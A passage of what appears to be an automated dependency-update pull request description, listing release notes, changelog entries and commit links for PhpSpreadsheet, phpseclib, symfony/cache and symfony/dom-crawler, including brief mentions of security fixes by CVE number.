href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003e#4061\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4061\"\u003ePHPOffice/PhpSpreadsheet#4061\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4797\"\u003e#4797\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4797\"\u003ePHPOffice/PhpSpreadsheet#4797\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImage Css size in millimeters. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003e#4800\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4800\"\u003ePHPOffice/PhpSpreadsheet#4800\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4801\"\u003e#4801\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4801\"\u003ePHPOffice/PhpSpreadsheet#4801\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-02-28 - 5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4781\"\u003e#4781\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4781\"\u003ePHPOffice/PhpSpreadsheet#4781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOption to whitelist external images. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4793\"\u003e#4793\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4793\"\u003ePHPOffice/PhpSpreadsheet#4793\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWriter/Html add ability to set line ending. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4779\"\u003e#4779\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4779\"\u003ePHPOffice/PhpSpreadsheet#4779\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9f55d3b9b7bcb1084fda8340e4b7ce4ed10cd0c8\"\u003e\u003ccode\u003e9f55d3b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4859\"\u003e#4859\u003c/a\u003e from oleibman/updchangelog20260419\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2e35213f2a5c8430f8f46294e7d472c30cf123be\"\u003e\u003ccode\u003e2e35213\u003c/code\u003e\u003c/a\u003e Update Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9019a9c9da1daee02d55c40f45f23a3c7eba5b62\"\u003e\u003ccode\u003e9019a9c\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f1eb4e6980d537ec85fc20be5950f9ad65d47ffd\"\u003e\u003ccode\u003ef1eb4e6\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b90dee03deb0d28761479c4a3a06fba5f7e012e\"\u003e\u003ccode\u003e9b90dee\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4857\"\u003e#4857\u003c/a\u003e from oleibman/changelog20260406\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f302b3265a3c471438192eea5a8cca26c1d52e88\"\u003e\u003ccode\u003ef302b32\u003c/code\u003e\u003c/a\u003e Prepare Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4a476071b3e0d633906251d95e73ad7464a32337\"\u003e\u003ccode\u003e4a47607\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4850\"\u003e#4850\u003c/a\u003e from oleibman/updatestan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8a9e9b561043ad5c9ed869a9c9b6658a7b1c50c3\"\u003e\u003ccode\u003e8a9e9b5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e from oleibman/csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d6d7d537f941ecfff5990f33558bad74d075be5\"\u003e\u003ccode\u003e5d6d7d5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6f23fe3d8c3b2604360bbc4d1778a1f41d6c1d52\"\u003e\u003ccode\u003e6f23fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e from oleibman/xlookup\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/4.5.0...5.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `phpseclib/phpseclib` from 3.0.50 to 3.0.52\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/phpseclib/phpseclib/releases\"\u003ephpseclib/phpseclib's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.0.52\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eASN1: more stringent OID length limits (CVE-2026-44167)\u003c/li\u003e\n\u003cli\u003eRSA: OpenSSL 3.2+ changed how PKCS1 decryption works (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2136\"\u003e#2136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eKeys/OpenSSH: support comments with spaces in them (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2137\"\u003e#2137\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.0.51\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSSH2: use constant time string comparison in get_binary_packet() (CVE-2026-40194)\u003c/li\u003e\n\u003cli\u003eRSA: add sha3 support (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2132\"\u003e#2132\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003euse new OpenSSL functionality (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2130\"\u003e#2130\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/phpseclib/phpseclib/blob/master/CHANGELOG.md\"\u003ephpseclib/phpseclib's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.0.52 - 2026-04-27\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eASN1: more stringent OID length limits (CVE-2026-44167)\u003c/li\u003e\n\u003cli\u003eRSA: OpenSSL 3.2+ changed how PKCS1 decryption works (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2136\"\u003e#2136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eKeys/OpenSSH: support comments with spaces in them (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2137\"\u003e#2137\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e3.0.51 - 2026-04-09\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSSH2: use constant time string comparison in get_binary_packet() (CVE-2026-40194)\u003c/li\u003e\n\u003cli\u003eRSA: add sha3 support (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2132\"\u003e#2132\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003euse new OpenSSL functionality (\u003ca href=\"https://redirect.github.com/phpseclib/phpseclib/issues/2130\"\u003e#2130\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/2adaefc83df2ec548558307690f376dd7d4f4fce\"\u003e\u003ccode\u003e2adaefc\u003c/code\u003e\u003c/a\u003e Merge branch '2.0' into 3.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/a96a835067c39ee7a709329fe70869817da18081\"\u003e\u003ccode\u003ea96a835\u003c/code\u003e\u003c/a\u003e Merge branch '1.0' into 2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/15ace8dd0b6942a7c49c9e83cf41de1b77924ba7\"\u003e\u003ccode\u003e15ace8d\u003c/code\u003e\u003c/a\u003e CHANGELOG: add new entry\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/457f3c4d99b965769f6459efc72eed1a590c6fa4\"\u003e\u003ccode\u003e457f3c4\u003c/code\u003e\u003c/a\u003e Merge branch '2.0' into 3.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/84dbb961ea3c4663f9f733ed2493db68d81ecbf0\"\u003e\u003ccode\u003e84dbb96\u003c/code\u003e\u003c/a\u003e Tests/X509: update for 2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/5e29734afd7bb6d55494f7bea4a75f7f36c7b617\"\u003e\u003ccode\u003e5e29734\u003c/code\u003e\u003c/a\u003e Merge branch '1.0' into 2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/2d4e05358b1b1f3245095ec05b79ab8a3f3b2f23\"\u003e\u003ccode\u003e2d4e053\u003c/code\u003e\u003c/a\u003e Tests/X509: add test for \u0026quot;OID bomb\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/e381a8b254bfa49ec63334e5fe9293585cca9af9\"\u003e\u003ccode\u003ee381a8b\u003c/code\u003e\u003c/a\u003e Merge branch '2.0' into 3.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/408664b7b8c70a0d827997eb932cc7e4cf206e6a\"\u003e\u003ccode\u003e408664b\u003c/code\u003e\u003c/a\u003e Merge branch '1.0' into 2.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/phpseclib/phpseclib/commit/d53d2021bcb9f6a04d5d44ec99e6bbef219a71bc\"\u003e\u003ccode\u003ed53d202\u003c/code\u003e\u003c/a\u003e ASN1: reduce length of supported OIDs from 4096 bytes to 128 bytes\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/phpseclib/phpseclib/compare/3.0.50...3.0.52\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/cache` from 7.4.8 to 7.4.13\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/cache/releases\"\u003esymfony/cache's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.4.13\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/cache/compare/v7.4.12...v7.4.13\"\u003ehttps://github.com/symfony/cache/compare/v7.4.12...v7.4.13\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/cache/issues/64330\"\u003e#64330\u003c/a\u003e  Fix strlen(null) deprecation on RelayCluster path in RedisTrait::doClear() (\u003ca href=\"https://github.com/signor-pedro\"\u003e\u003ccode\u003e@​signor-pedro\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/cache/issues/64336\"\u003e#64336\u003c/a\u003e  Accept '_' and ':' in prefix passed to AbstractAdapter::clear() (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.12\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/cache/compare/v7.4.10...v7.4.12\"\u003ehttps://github.com/symfony/cache/compare/v7.4.10...v7.4.12\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003esecurity #cve-2026-45073  Validate the prefix given to AbstractAdapter::clear() (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.10\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/cache/compare/v7.4.9...v7.4.10\"\u003ehttps://github.com/symfony/cache/compare/v7.4.9...v7.4.10\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/cache/issues/64122\"\u003e#64122\u003c/a\u003e  Ensure compatibility with Relay extension 0.22.0 (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev7.4.9\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/cache/compare/v7.4.8...v7.4.9\"\u003ehttps://github.com/symfony/cache/compare/v7.4.8...v7.4.9\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/cache/issues/64060\"\u003e#64060\u003c/a\u003e  Normalize default_lifetime for pools wrapped by ChainAdapter (\u003ca href=\"https://github.com/ostrolucky\"\u003e\u003ccode\u003e@​ostrolucky\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/cache/issues/63964\"\u003e#63964\u003c/a\u003e  Ensure internal state is cleared in TagAwareAdapter::reset() … (\u003ca href=\"https://github.com/KevinMartinsDev\"\u003e\u003ccode\u003e@​KevinMartinsDev\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/cache/issues/63860\"\u003e#63860\u003c/a\u003e  Fix Psr16Cache::getMultiple() returning wrapper values when using TTL (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/4c09e18a92cce126cc0d1155825279fca8cd0673\"\u003e\u003ccode\u003e4c09e18\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/5490a577195422c3c9cda09c64823580858af854\"\u003e\u003ccode\u003e5490a57\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/bf581474737420d5c932ae80b868e253f465ee5b\"\u003e\u003ccode\u003ebf58147\u003c/code\u003e\u003c/a\u003e [Cache] skip tests for adapters that cannot clear by prefix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/f796e475dab92297560deadfc24a0a3e0772603f\"\u003e\u003ccode\u003ef796e47\u003c/code\u003e\u003c/a\u003e Ignore Doctrine DBAL deprecations that can't be worked around\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/bf9d30fc7a5574e62845dd0308d09de7f7a9e25e\"\u003e\u003ccode\u003ebf9d30f\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/03472b667be6d76f9dd22f3843ddfc888d6e1703\"\u003e\u003ccode\u003e03472b6\u003c/code\u003e\u003c/a\u003e [Cache] Fix strlen(null) deprecation on RelayCluster path in RedisTrait::doCl...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/860240538c391dffef690a2bf0fd503b76540f56\"\u003e\u003ccode\u003e8602405\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/4acd37c5c4ae48c88c1bedec4109857e2f277c42\"\u003e\u003ccode\u003e4acd37c\u003c/code\u003e\u003c/a\u003e [Cache] Accept '_' and ':' in prefix passed to AbstractAdapter::clear()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/902d621e0b6ef0ebeaa133770b5c339a19328589\"\u003e\u003ccode\u003e902d621\u003c/code\u003e\u003c/a\u003e Merge branch '6.4' into 7.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/symfony/cache/commit/8f9b022e63fa02bd984c06dc886039936ea17714\"\u003e\u003ccode\u003e8f9b022\u003c/code\u003e\u003c/a\u003e Merge branch '5.4' into 6.4\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/symfony/cache/compare/v7.4.8...v7.4.13\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `symfony/dom-crawler` from 7.4.8 to 7.4.12\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/symfony/dom-crawler/releases\"\u003esymfony/dom-crawler's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev7.4.12\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eChangelog\u003c/strong\u003e (\u003ca href=\"https://github.com/symfony/dom-crawler/compare/v7.4.1...v7.4.12\"\u003ehttps://github.com/symfony/dom-crawler/compare/v7.4.1...v7.4.12\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ebug \u003ca href=\"https://redirect.github.com/symfony/dom-crawler/issues/64258\"\u003e#64258\u003c/a\u003e  Fix \u003ccode\u003eChoiceFormField::addChoice()\u003c/code\u003e clobbering values on multi-selects (\u003ca href=\"https://github.com/nicolas-grekas\"\u003e\u003ccode\u003e@​nicolas-grekas\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003esecurity #cve-2026-45071  